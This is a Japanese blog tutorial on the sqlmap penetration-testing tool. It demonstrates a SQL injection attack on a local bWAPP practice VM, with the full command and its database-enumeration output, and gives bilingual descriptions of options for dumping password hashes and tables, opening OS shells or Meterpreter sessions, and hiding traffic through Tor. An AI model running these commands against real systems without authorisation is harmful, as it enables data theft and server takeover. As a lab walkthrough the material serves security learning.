【注意】このサイトに記載されていることを他人に試すことは「不正アクセス禁止法」に該当する場合があります。詳しくはこちらから

ハッカーはsqlmapでSQLインジェクションの欠陥を検出する(Kali Linux)

ホワイトハッカーの知識座学,Kali Linuxツール,sqlmap

DSQLインジェクションの欠陥を検出して悪用する方法を理解するためにまとめてみました。
このsqlmapの動作確認は自分のローカルテスト環境で行っています。(VM VirtualBox)

sqlmapとは

sqlmapはオープンソースの侵入テストツールです。
SQLインジェクションの欠陥を検出して悪用し、データベースサーバーを乗っ取るプロセスを自動化します。
強力な検出エンジンを搭載し、究極の侵入テスト者のための多くのニッチな機能を備え、データベースのフィンガープリントから、データベースからのデータ取得、基礎となるファイルシステムへのアクセス、帯域外接続を介したオペレーティングシステム上でのコマンドの実行まで、幅広いスイッチを備えています。

機能

  • MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDBなどのデータベース管理システムをフルサポートしています
  • ブーリアンベースのブラインド、タイムベースのブラインド、エラーベース、UNIONクエリ、スタックドクエリ、アウトオブバンドの6種類のSQLインジェクション技術をフルサポート
  • DBMSの認証情報、IPアドレス、ポート、データベース名を提供することで、SQLインジェクションを経由せずにデータベースに直接接続することをサポートします
  • ユーザー、パスワードハッシュ、権限、役割、データベース、テーブル、カラムの列挙をサポート
  • パスワードハッシュ形式の自動認識と、辞書ベースの攻撃によるクラックをサポート
  • ユーザーの選択に応じて、データベーステーブル全体、エントリの範囲、または特定のカラムのダンプをサポート。また、各列のエントリから文字の範囲のみをダンプすることもできます
  • 特定のデータベース名、すべてのデータベースの特定のテーブル、またはすべてのデータベースのテーブルの特定の列を検索できます。これは、例えば、関連する列の名前にnameやpassなどの文字列が含まれている場合に、カスタムアプリケーションの認証情報を含むテーブルを特定するのに便利です
  • データベースソフトウェアが MySQL、PostgreSQL、Microsoft SQL Server の場合、データベースサーバーの基礎となるファイルシステムから任意のファイルをダウンロードおよびアップロードする機能をサポートします
  • データベースソフトウェアが MySQL、PostgreSQL または Microsoft SQL Server の場合、データベースサーバーの基礎となるオペレーティングシステム上で任意のコマンドを実行し、その標準出力を取得することをサポートします
  • 攻撃者のマシンとデータベースサーバの基礎となるオペレーティングシステムとの間で、帯域外のステートフルなTCP接続を確立するサポート。このチャネルは、ユーザーの選択に応じて、対話型コマンドプロンプト、Meterpreter セッション、またはグラフィカルユーザーインターフェース (VNC) セッションにすることができます
  • MetasploitのMeterpreter getsystemコマンドによる、データベースプロセスのユーザー特権の昇格をサポートします

ツールの場所

[Applications]→[04-Database Assessment]→[sqlmap]

ツールと使用方法

sqlmap [options]

例 sqlmap -u “http://192.168.56.4/bWAPP/sqli_16.php" –cookie="security_level=0; PHPSESSID=fb414583e97e4284d5c3b96fc4d9b507″ –data “login=abc+&password=xyz&form=submit" –dbs

【実行イメージ】少し端折って整形しています。

┌──(kali__kali)-[~]
└─$ sqlmap -u "http://192.168.56.4/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=fb414583e97e4284d5c3b96fc4d9b507" --data "login=abc+&password=xyz&form=submit" --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.5.2#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

:

[10:21:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[10:21:36] [INFO] fetching database names
[10:21:37] [INFO] retrieved: 'information_schema'
[10:21:38] [INFO] retrieved: 'bWAPP'
[10:21:38] [INFO] retrieved: 'drupageddon'
[10:21:38] [INFO] retrieved: 'mysql'
available databases [4]:
[*] bWAPP
[*] drupageddon
[*] information_schema
[*] mysql

[10:21:38] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.4'
[*] ending @ 10:21:38 /2021-05-07/

オプション(Options)

-h, –help

Show basic help message and exit.
基本的なヘルプメッセージを表示して終了します。

-hh

Show advanced help message and exit.
高度なヘルプメッセージを表示して終了します。

–version

Show program’s version number and exit.
プログラムのバージョン番号を表示して終了します。

-v VERBOSE

Verbosity level: 0-6. (default 1)
Verbosity level: 0-6. (デフォルト1)

ターゲット(Target)

At least one of these options has to be provided to define the target(s).
ターゲットを定義するには、これらのオプションのうち少なくとも1つを提供する必要があります。

-u URL, –url=URL

Target URL. (e.g. “http://www.site.com/vuln.php?id=1")
ターゲットのURL (例:"http://www.site.com/vuln.php?id=1″)

-g GOOGLEDORK

Process Google dork results as target URLs.
Google dorkの結果をターゲットURLとして処理します。

リクエスト(Request)

These options can be used to specify how to connect to the target URL.
これらのオプションを使って、ターゲットURLへの接続方法を指定することができます。

–data=DATA

Data string to be sent through POST. (e.g. “id=1")
POSTで送信するデータ文字列。(例:"id=1″)

–cookie=COOKIE

HTTP Cookie header value. (e.g. “PHPSESSID=a8d127e..")
HTTP Cookie ヘッダーの値。(例:"PHPSESSID=a8d127e…")

–random-agent

Use randomly selected HTTP User-Agent header value.
ランダムに選択されたHTTP User-Agentヘッダー値を使用する。

–proxy=PROXY

Use a proxy to connect to the target URL.
プロキシを使って対象のURLに接続します。

–tor

Use Tor anonymity network.
匿名性の高いネットワークであるTorを利用する。

–check-tor

Check to see if Tor is used properly.
Torが正しく使われているかどうかを確認する。

インジェクション(Injection)

These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts.
これらのオプションを使用して、テストするパラメータを指定したり、カスタムインジェクションのペイロードやオプションの改ざんスクリプトを提供したりすることができます。

-p TESTPARAMETER

Testable parameter(s).
テスト可能なパラメータ(複数可)

–dbms=DBMS

Force back-end DBMS to provided value.
バックエンドのDBMSに提供された値を強制的に適用する。

ディテクション(Detection)

These options can be used to customize the detection phase.
これらのオプションは、検出フェーズをカスタマイズするために使用できます。

–level=LEVEL

Level of tests to perform. (1-5, default 1)
実行するテストのレベル。(1-5, デフォルト1)

–risk=RISK

Risk of tests to perform. (1-3, default 1)
実行するテストのリスク (1-3, デフォルト1)

テクニック(Techniques)

These options can be used to tweak testing of specific SQL injection techniques.
これらのオプションは、特定のSQLインジェクション技術のテストを微調整するために使用できます。

–technique=TECH..

SQL injection techniques to use. (default “BEUSTQ")
これらのオプションは、特定のSQLインジェクション技術のテストを微調整するために使用できます。

エニュメレーション(Enumeration)

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables.
これらのオプションは、テーブルに含まれるバックエンドのデータベース管理システムの情報、構造、データを列挙するために使用できます。

-a, –all

Retrieve everything.
すべてを回収する。

-b, –banner

Retrieve DBMS banner.
DBMSのバナーを取得します。

–current-user

Retrieve DBMS current user.
DBMSのカレントユーザーを取得します。

–current-db

Retrieve DBMS current database.
DBMSの現在のデータベースを取得します。

–passwords

Enumerate DBMS users password hashes.
DBMSユーザーのパスワードハッシュを列挙します。

–tables

Enumerate DBMS database tables.
DBMSのデータベーステーブルを列挙します。

–columns

Enumerate DBMS database table columns.
DBMSのデータベーステーブルのカラムを列挙します。

–schema

Enumerate DBMS schema.
DBMSのスキーマを列挙します。

–dump

Dump DBMS database table entries.
DBMSのデータベーステーブルのエントリをダンプします。

–dump-all

Dump all DBMS databases tables entries.
すべてのDBMSデータベースのテーブルエントリをダンプします。

-D DB

DBMS database to enumerate.
DBMS データベースを列挙します。

-T TBL

DBMS database table(s) to enumerate.
DBMS データベースのテーブルを列挙します。

-C COL

DBMS database table column(s) to enumerate.]
DBMSのデータベーステーブルの列を列挙します。

オペレーティングシステムへのアクセス(Operating system access)

These options can be used to access the back-end database management system underlying operating system.
これらのオプションは、バックエンドのデータベース管理システムの基礎となるオペレーティング・システムにアクセスするために使用できます。

–os-shell

Prompt for an interactive operating system shell.
OSの対話型シェルを表示します。

–os-pwn

Prompt for an OOB shell, Meterpreter or VNC.
OOB シェル、Meterpreter、または VNC のプロンプトを表示します。

ゼネラル(General)

These options can be used to set some general working parameters.
これらのオプションは、いくつかの一般的な作業パラメータを設定するために使用されます。

–batch

Never ask for user input, use the default behavior.
ユーザーの入力を求めず、デフォルトの動作を使用する。

–flush-session

Flush session files for current target.
現在のターゲットのセッションファイルをフラッシュします。

その他(Miscellaneous)

These options do not fit into any other category.
これらの選択肢は、他のカテゴリーには当てはまりません。

–sqlmap-shell

Prompt for an interactive sqlmap shell.
対話型のsqlmapシェルを求める。

–wizard

Simple wizard interface for beginner users.
ビギナーの方にも使いやすい、シンプルなウィザード形式のインターフェース。

sqlmapツールのまとめ

webアプリケーションがどんなデータベースを使っていて、テーブル名やカラム名、ユーザー名などを調べることができます。

このsqlmapツールのパラメータを取得するために「Burp Suite」を利用しました。
やはり、通信している情報の可視化を最初にする必要がありますね。

「Burp Suite」については、こちらを参照してくださいね。
ハッカーはBurp Suiteでネットに流れているWebアプリケーションの通信内容を傍受する(Kali Linuxツール説明)